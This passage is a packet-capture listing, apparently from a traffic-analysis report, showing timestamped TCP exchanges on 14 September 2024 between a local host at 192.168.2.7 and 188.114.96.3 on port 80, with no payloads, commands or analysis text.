Sep 14, 2024 18:44:27.286140919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286179066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286214113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286218882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286247015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286278009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286284924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286331892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286364079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286375046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286396980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286428928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286434889 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286462069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286493063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286498070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286525965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286556959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286561966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286592007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286634922 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286643982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286672115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286710024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286711931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286742926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286771059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286783934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286819935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286851883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286860943 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286884069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286916971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.286921024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.286978960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287013054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287019014 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.287041903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287075996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287079096 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.287108898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287139893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287148952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.287173033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287204981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287214041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.287239075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287270069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287276030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.287303925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287336111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287338972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.287368059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287405014 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.287424088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287456989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287489891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.287502050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.330357075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.346257925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.346304893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.346359968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.346365929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.346395016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.346430063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.346438885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.346463919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.346502066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.346507072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.369672060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369693041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369719982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369736910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369751930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369765997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.369767904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369824886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369843006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369858027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369868040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.369875908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369890928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369908094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369919062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.369923115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369940996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369936943 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.369960070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369966984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.369978905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.369992971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370009899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.370034933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.370235920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370271921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370306969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370326042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.370342016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370376110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370409012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370434999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.370443106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370455980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.370557070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370588064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370600939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.370620966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370654106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370662928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.370687962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370719910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370724916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.370752096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370793104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.370898962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370929003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370959997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.370992899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371037006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.371042967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371057987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.371078968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371113062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371120930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.371148109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371181011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371191025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.371232986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371264935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371279001 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.371299028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371331930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371342897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.371366024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371398926 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.371433020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371467113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371509075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.371926069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371958017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.371992111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372009039 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372025013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372076035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372097015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372108936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372143030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372150898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372174978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372208118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372216940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372261047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372293949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372303009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372327089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372360945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372370958 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372399092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372431993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372440100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372466087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372498035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372528076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372531891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372566938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372570038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372600079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372632027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372642994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372665882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372699022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372706890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372733116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372782946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372808933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372816086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372849941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372859001 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372883081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372915983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.372925997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.372972012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373004913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373011112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373040915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373076916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373085976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373126984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373162031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373166084 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373194933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373229027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373234987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373280048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373312950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373325109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373346090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373379946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373389006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373430967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373465061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373473883 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373498917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373532057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373539925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373584032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373616934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373626947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373651028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373686075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373687983 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373718977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373758078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373768091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373801947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373835087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373845100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373866081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373903036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373903990 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.373938084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373969078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.373970985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.374003887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.374036074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.374043941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.374069929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.374102116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.374110937 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.374138117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.374172926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.374181986 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.374206066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.374239922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.374248028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.374294043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.374329090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.374334097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.374365091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.374397993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.374403000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.424036980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.432923079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.432949066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.432966948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.432981968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.433001041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.433016062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.433033943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.433047056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.433198929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.433260918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.456832886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.456902027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.456957102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.456965923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.456990957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457029104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457036018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457081079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457115889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457129955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457149982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457196951 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457201958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457237005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457268953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457283020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457298994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457355976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457389116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457390070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457426071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457438946 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457458973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457488060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457504034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457539082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457573891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457587957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457613945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457647085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457659006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457688093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457722902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457731009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457755089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457787991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457802057 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457820892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457854033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457870960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457885981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457918882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.457926035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.457972050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458005905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458015919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.458040953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458074093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458081007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.458107948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458141088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458148956 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.458174944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458213091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458216906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.458254099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458287001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458302975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.458323002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458355904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458364964 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.458389044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458421946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458429098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.458456039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458497047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.458867073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.458986044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459017992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459023952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459053040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459085941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459095001 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459136009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459171057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459181070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459206104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459239960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459249973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459274054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459306955 CEST	80	54891	188.114.96.3	192.168.2.7
